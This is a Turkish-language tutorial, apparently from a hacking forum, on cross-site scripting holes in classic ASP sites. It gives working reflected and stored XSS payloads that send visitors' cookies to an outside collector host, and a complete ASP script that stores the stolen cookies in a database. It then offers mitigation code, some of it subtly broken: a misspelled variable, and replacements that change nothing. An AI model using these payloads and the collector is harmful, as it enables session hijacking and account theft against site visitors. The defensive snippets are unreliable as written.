XSS Açiklari ve Korunma Yöntemleri
XSS Açiklari Request ile kullanicidan alinan verilerin sayfa içinde Yazdirilmasi ile olusur. Örnegin QueryString ile alinan sayfa numaralari yada ilgili kaydi gösteren id degiskenleri.
http://www.hedefsite/Default.Asp?Page=1 yada http://www.hedefsite/Product.Asp?id=1
http://www.hedefsite/Default.Asp?Kategori=Haber gibi.
Örnek XSS Açigi ile Ne yapilabilir :
Yukardaki örnekler gibi açigimizi buluyoruz yada hedef sitede Webservis sayaç kodunun olmasi yeterli.
Açigimizi bulduktan sonra kullanicinin Cookiesini JavaScript (document.cookie) ile okuyup istedigimiz bir adresteki veri tabanina kayit ediyoruz yada kendimize mail atiyoruz.
-------------------------
http://www.hedefsite.com/Default.Asp?Page=2"><SCRIPT>location.href= "http://www.cyber-warrior.org/yakala.asp?X=+escape(document.cookie)</SCRIPT>
-------------------------
Saldirgan Url’nin sonuna "> Eklentisi ile Inputlarin sonlandirilmasini ve bundan sonra eklenen zararli kodlari Explorer’in icra etmesini saglar.
Bu Link’e tiklayan kullanicinin Cookie’si Belirtilen Kaynaga Post edilir.
Yada : Hedef sitede yazdiginiz mesaji gösterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama
----------------------------
<script>document.location=http://www.cyber-warrior.org/yakala.asp?X= +document.cookie</script>
----------------------------
Bu kod ilgili sayfada görüntülendigi anda sayfayi görüntüleyen kullanicilarin cookielerini alarak yakala.asp dosyasina veri tabanina kaydetmesi için gönderir.
Web Sayfanizda XSS açiklari kapatilmis Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açigi Olusuyor.
WebServis Tarafindan verilen ve Sitenize eklediginiz;
------------------------------------
<script language="javascript"> var wuser="CWDoktoray", wbanner=11;</script>
<script language="javascript" src= "a target=_blank href=http://www.webservis.gen">SCRIPT">http://www.webservis.gen.tr/sayac.js"></script>
-------------------------------------
XSS Açiklarini Engellemek için:
Request ile alinan degerleri her zaman QueryString’de olsa Replace ile Asagidaki sekilde temizleyin
Ve Request verilerini alirken mutlaka tam sayiya çevirin
Recid = CInt(Trim(Server.HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tirnak
Recid = Replace(Recid, Chr(10) , "") ’Satir Basi
Recid = Replace(Recid, Chr(34) , "") ’çift tirnak
---------------------------------------------------
ASP.NET ’de
web.config Dosyasinda asagidaki degisikleri yaptiginizda " ’ "
gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz
<System.Web>
<Pages validateRequest="True"></Pages>
</System.Web>
IPS Kullaniyor iseniz
Yeni imza yaratip
Application Layer / HTTP / HTTP.URL_DECODED
Protokolüne;
’ Tek Tirnak,
" Çift Tirnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldirilarini Direkt Engelleyebilirsiniz...
----------------------------------------------------------------------------------
Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanina kaydetmek için
Örnek Basit bir ASP Dosyasi
X = Request.QueryString("X") Yerine
Veri URL’den gelecegi için
X = Request.ServerVariables("HTTP_REFERER") de Kullanabilirsiniz.
"Yakala.mdb" adinda bir database olusturun "tblYakala" adinda bir tablo ve "Sayfa" Adinda (alan tipi Not) Oalcak sekilde Tasarlayin
--------------------Yakala.Asp-----------------------------------
<%
Dim X
X = Request.QueryString("X")
%>
<%
Dim ConnString,bag
ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("Yakala.mdb") & ";"
set bag = Server.CreateObject("ADODB.Connection")
bag.Open ConnString
%>
<%
Dim SQL,Rs
Set Rs=Server.CreateObject("ADODB.Recordset")
SQL="Select * From tblYakala"
Rs.Open SQL,ConnString,1,3
End iF
%>
<%
Rs.AddNew
Rs("Sayfa")=X
Rs.Update
Rs.Close
%>
----------------------------------------------------------------------------------
Cyber-Security.Org / CWDoktoray